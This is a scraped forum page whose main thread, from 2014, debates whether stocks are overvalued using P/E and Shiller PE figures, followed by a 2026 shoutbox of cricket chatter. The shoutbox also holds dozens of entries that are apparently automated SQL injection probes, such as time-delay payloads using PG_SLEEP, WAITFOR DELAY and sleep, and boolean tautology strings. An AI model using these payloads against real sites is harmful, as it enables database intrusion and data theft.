>

Are stocks too expensive now?

  • Ashton
  • Topic Author
  • Visitor
  • Visitor
15 Nov 2014 17:18 #223784 by Ashton
If you need some good news in your life, look no further than the stock market. U.S. stocks have staged an epic comeback in recent days with the S&P 500 (.SPX

But wise investors are always looking ahead, and the inevitable question now is: are stocks overvalued?

A look at the numbers: The classic way to measure whether stocks are cheap or not is to look at the price-to-earnings ratio for the S&P 500. It's a gauge of whether corporate earnings actually justify the stock market level.

The PE ratio is currently at 19, according to S&P Capital IQ. That's above the historic average of 15, although not too far off from the average of the last decade, which is nearly 17.

To put it bluntly, the PE certainly isn't in Black Friday discount territory, but it doesn't exactly scream swindled, either.

The bearish case: Market pessimists often point to what is known as the Shiller PE after Nobel Prize winning economist Robert Shiller.

He takes the PE ratio and makes some adjustments for inflation and average earnings for the past decade. It's akin to looking at calories from fat instead of just calories.

According to the Shiller PE, stocks are pricey. We're now at 26.5 by his measure compared to the historical average of 16.

The height of the dotcom bubble saw the Shiller PE shoot up to 44, while the worst of the Great Recession saw the ratio bottom out at 13. Shiller himself has warned that we might be in another bubble.

Please Log in or Create an account to join the conversation.

  • Radhica
  • Visitor
  • Visitor
18 Nov 2014 15:26 #224223 by Radhica
i will wait on a drop from the highs of today

Please Log in or Create an account to join the conversation.

More
18 Nov 2014 17:08 #224256 by ketchim
Good thinking . Radhica  8)

Please Log in or Create an account to join the conversation.

Time to create page: 0.209 seconds
MaleahBREAKING: The government of Pakistan has said that Pakistan will boycott their T20 World Cup match against India(01.02.2026, 11:02)(11:02)0
ketchimGot Florida Hass theodday from my buddy visiting here !(22.01.2026, 19:37)(19:37)0
ketchimICC tell Bangladseh they will be REPLACED !(22.01.2026, 19:17)(19:17)0
MaleahGuyanese people in Florida can't just go and catch a dozen or two dozen HASSA; they have to catch over 5 million.
This is called Greed
(07.01.2026, 13:14)(13:14)1
MaleahNow that Joe Root has 2 centuries in Australia, I assume those Australian fans, who said he couldn’t be classed as great unless he achieved that, will now say he is?? Given that the great Steve Smith has never scored a test ton in Pakistan….(05.01.2026, 12:31)(12:31)0
MaleahThe Bangladesh Cricket Board has formally asked the ICC to move all of Bangladesh’s matches out of India, citing safety and security concerns.

#T20WorldCup
(04.01.2026, 14:18)(14:18)0
Gwen20(03.01.2026, 13:42)(13:42)0
Gwen(select 198766*667891 from DUAL)(03.01.2026, 13:42)(13:42)0
Gwen(select 198766*667891)(03.01.2026, 13:42)(13:42)0
Gwen@@iBQ3X(03.01.2026, 13:42)(13:42)0
Gwen20'"(03.01.2026, 13:42)(13:42)0
Gwen20(03.01.2026, 13:42)(13:42)0
Gwen20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'(03.01.2026, 13:42)(13:42)0
Johan20(03.01.2026, 13:42)(13:42)0
Gwen20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)(03.01.2026, 13:41)(13:41)0
Gwen20F4owsBb6')) OR 756=(SELECT 756 FROM PG_SLEEP(15))--(03.01.2026, 13:41)(13:41)0
Gwen20axQfaI3h') OR 505=(SELECT 505 FROM PG_SLEEP(15))--(03.01.2026, 13:40)(13:40)0
Gwen20GCVWFMgw' OR 960=(SELECT 960 FROM PG_SLEEP(15))--(03.01.2026, 13:40)(13:40)0
Gwen20-1)) OR 426=(SELECT 426 FROM PG_SLEEP(15))--(03.01.2026, 13:39)(13:39)0
Gwen20-1) OR 573=(SELECT 573 FROM PG_SLEEP(15))--(03.01.2026, 13:39)(13:39)0
Gwen20-1 OR 604=(SELECT 604 FROM PG_SLEEP(15))--(03.01.2026, 13:38)(13:38)0
Gwen20ZWzru47i'; waitfor delay '0:0:15' --(03.01.2026, 13:38)(13:38)0
Gwen20-1 waitfor delay '0:0:15' --(03.01.2026, 13:38)(13:38)0
Gwen20-1); waitfor delay '0:0:15' --(03.01.2026, 13:37)(13:37)0
Gwen20-1; waitfor delay '0:0:15' --(03.01.2026, 13:36)(13:36)0
Gwen(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/(03.01.2026, 13:36)(13:36)0
Gwen200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z(03.01.2026, 13:36)(13:36)0
Gwen200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z(03.01.2026, 13:35)(13:35)0
Gwen20*if(now()=sysdate(),sleep(15),0)(03.01.2026, 13:35)(13:35)0
Gwen-1" OR 18=18 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2<5 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=26 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=25 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 641=641 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 3*2<5 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=26 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=25 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2>5 --(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2>999 --(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=25 --(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=26 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>5(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>999(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 5*5=25(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>5 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>999 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 5*5=25 --(03.01.2026, 13:34)(13:34)0
Gwen20(03.01.2026, 13:34)(13:34)0
Gwen204tYynwAI(03.01.2026, 13:34)(13:34)0
Gwen20(03.01.2026, 12:02)(12:02)0
Raven
Go to top